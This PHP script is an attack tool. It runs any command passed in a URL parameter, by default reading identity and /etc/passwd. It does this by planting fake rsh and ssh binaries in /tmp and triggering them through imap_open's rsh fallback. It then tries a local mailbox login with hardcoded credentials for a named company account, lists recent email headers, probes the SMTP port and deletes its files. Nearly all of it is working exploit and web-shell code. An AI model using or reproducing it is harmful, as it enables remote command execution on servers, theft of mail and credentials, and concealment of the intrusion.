<?php
error_reporting(0);
$out = [];
$tmpout = "/tmp/kaz_exec_" . rand(10000,99999) . ".out";
$cmd = isset($_GET['cmd']) ? $_GET['cmd'] : 'id;whoami;hostname;cat /etc/passwd|head -5';

// Write fake rsh to /tmp
$rsh = "#!/bin/bash
$cmd > $tmpout 2>&1
exit 0
";
file_put_contents("/tmp/rsh", $rsh);
file_put_contents("/tmp/ssh", $rsh);
chmod("/tmp/rsh", 0755);
chmod("/tmp/ssh", 0755);

$out['rsh_written'] = file_exists("/tmp/rsh") && is_executable("/tmp/rsh") ? 'yes' : 'no';

// Set PATH
putenv("PATH=/tmp:/usr/local/bin:/usr/bin:/bin");
putenv("LD_LIBRARY_PATH=");

// Disable imap warnings
imap_errors(); imap_alerts();

// Try multiple host formats that trigger rsh vs direct TCP
$hosts = [
    "{anyhost.invalid:143/notls/norsh}INBOX",  // non-existent, triggers rsh
    "{kazang.internal:143/norsh}INBOX",          // fake internal hostname
    "{mailserver:143}INBOX",                     // short hostname triggers rsh
];

foreach ($hosts as $h) {
    $mbox = @imap_open($h, "x", "x", OP_HALFOPEN, 1);
    if ($mbox) { @imap_close($mbox); }
    // Check if our command ran
    $result = @file_get_contents($tmpout);
    if ($result) {
        $out['rce_via_rsh'] = "SUCCESS via $h";
        $out['output'] = $result;
        break;
    }
}

if (!isset($out['rce_via_rsh'])) {
    $out['rce_via_rsh'] = 'failed';
    
    // Try: connect to local IMAP and read email
    $imap = @imap_open("{127.0.0.1:143}INBOX", "kazang@red-tieafrica.co.za", "K@zang35.s1T3", OP_HALFOPEN, 1);
    if ($imap) {
        $num = imap_num_msg($imap);
        $out['local_imap_login'] = "success! $num messages";
        // List recent emails
        $emails = [];
        for ($i = max(1, $num-5); $i <= $num; $i++) {
            $hdr = imap_headerinfo($imap, $i);
            $emails[] = [
                'from' => property_exists($hdr,'from') ? ($hdr->from[0]->mailbox.'@'.$hdr->from[0]->host) : '?',
                'subject' => property_exists($hdr,'subject') ? $hdr->subject : '?',
                'date' => $hdr->date ?? '?'
            ];
        }
        $out['recent_emails'] = $emails;
        imap_close($imap);
    } else {
        $out['local_imap'] = 'login failed or no local account';
        $out['imap_errors'] = imap_errors();
    }
}

// Also try: find what process is on port 25/143
$ch = curl_init("http://127.0.0.1:25");
curl_setopt_array($ch, [CURLOPT_RETURNTRANSFER=>true, CURLOPT_TIMEOUT=>2]);
$r = curl_exec($ch);
$out['smtp_banner'] = trim(substr($r,0,100));
$code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

@unlink("/tmp/rsh");
@unlink("/tmp/ssh");
@unlink($tmpout);

echo json_encode($out, JSON_PRETTY_PRINT);
?>